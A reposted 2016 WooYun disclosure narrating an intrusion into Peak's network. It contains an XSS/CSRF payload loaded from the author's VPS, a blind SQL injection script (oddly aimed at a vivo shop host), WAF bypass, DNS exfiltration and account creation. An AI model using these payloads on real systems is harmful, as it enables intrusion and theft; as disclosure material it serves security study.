我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-05-03: 细节已通知厂商并且等待厂商处理中
2016-05-03: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-05-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

此次测试历时大半个月吧,不容易啊

详细说明:

 

mask 区域
1.http://**.**.**/





先看看存不存在上传,不可以,做了限制



然后匹克某站存在xss漏洞



mask 区域
1.http://**.**.**/bugs/wooyun-2010-052615



官方修复了,前端做了限制,正常思路,抓包绕过



QQ20160502-1.png





QQ20160502-6.png





等了好几天,打到一堆,终于打到了管理的cookie



QQ20160502-5.png





成功登陆,



发现了这个



QQ20160502-4.png





试着修改图片上传类型,结果提示不是超级管理员权限不够,又用之前打到的一堆cookie试着登陆,有一个cookie登陆后,直接就302跳转了,猜想这个可能超级管理员啊



ip做了限制?



咋办啊?又纠结了好久,接着翻了翻匹克之前的洞



CSRF



缺陷编号: WooYun-2015-128938

漏洞标题: 匹克多处CSRF漏洞



mask 区域
1.http://**.**.**/bugs/wooyun-2010-0128938





后台会不会同样存在csrf呢,结果真有,全站都未做csrf防护啊





我灵机一动,当XSS遇上CSRF 是不是会有很大的“化学反应呢”





构造了个POC,放在vps上了



code 区域
<html>
<script>enclosure.pic_mime.value=".php|.jsp|.aspx";enclosure.submit.focus();</script>
</html>





插入xss代码



<iframe src="http://********/test.html" />



又是过了好久,头像可以上传了,成功getshell



QQ20160502-7.png





QQ20160502-9.png









试着添加用户



net user test test /add



权限不够,不是root权限,试着提权没成功



然后想到这就算了,就在这时,我又发现了匹克一处union注入,



我就想可不可以通过其他途径getshell呢,比如select into outfile



QQ20160502-10.png





可是不知道路径...



天无绝人之路,许久之前我找到过匹克的一个盲注,影响不大就没提交,想想这回用上了



匹克主站是有安全狗的,不过可以用/**)*/绕过



QQ20160414-0.png





root权限



附上poc脚本



code 区域
#encoding=utf-8
__author__ = 'Lu'
import httplib

import time

import string

import sys

import random

import urllib



headers = {'Content-Type': 'application/x-www-form-urlencoded',

'User-Agent': 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',}



payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'



print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())

user = ''



for i in range(1, 17):

for payload in payloads:

s = "cat_id=22) AND if((ascii(mid(lower(user()),%s,1))=%s),SLEEP(5),0) AND (8663=8663&orderBy=1&showtype=list&&virtual_cat_id=" % (i, ord(payload))

conn = httplib.HTTPConnection('http://shop1.vivo.com.cn:80', timeout=30)

conn.request(method='POST', url='/gallery-ajax_get_goods.html', body=s, headers=headers)

start_time = time.time()

html_doc = conn.getresponse().read()

conn.close()

print '.',

if time.time() - start_time > 1.0:

user += payload

print '\n[in progress]', user,

break



print '\n[Done] MySQL user is %s' % user





想想这回有戏啊,mysql 可以利用LOAD_FILE弄到路径



盲注,而且还有安全狗,实在太慢了,



于是想到可以利用DNS解析获取SQL结果啊



这是一种利用DNS解析过程获取恶意SQL查询结果的先进的SQL注入技术。带有sql查询结果的DNS请求最终被攻击者控制的远程域名服务器拦截并提取出宝贵的数据。



利用DNS从有漏洞的数据库中渗出数据的前提条件是DBMS中有可用的能直接或间接引发DNS解析过程的子程序。 然后这类的子程序被攻击者利用,作为攻击的媒介。



因为sqlmap中没有过这个安全狗的tamper,于是自己仿照着space2comments.py改写了一个



QQ20160502-11.png





QQ20160502-12.png





远程登录vps

nc -lvvp 6666进行监听





QQ20160503-2.png







利用sqlmap --dns-domain --sql-shell



路径拿到





QQ20160503-7.png







利用刚刚的union注入写入shell



QQ20160503-1.png





这回是root权限





QQ20160503-2.png







net use 添加用户 远程登录



QQ20160503-6.png





成功漫游内网



QQ20160503-3.png







QQ20160503-4.png







QQ20160503-5.png





内网还有很多敏感性信息,可以直接控制扫面器打印机等,不进一步深入





整个测试过程大概经历了大半个月吧,从最开始的一个简单的绕过前端的xss,一点一点深入,各种组合拳,能到最后,其实也有很多运气的成分。这期间也学到了不少东西,明早还有安全编程的课,去睡了,晚安

漏洞证明:

已经证明

修复方案:

你们更加专业喽

版权声明:转载请注明来源 Mr.Q@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-05-09 09:00

厂商回复:

 

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。

百度收录:百度已收录『查看详情』

本文链接:我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等) - https://www.15qq.cn/wooyun/684.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

允许邮件通知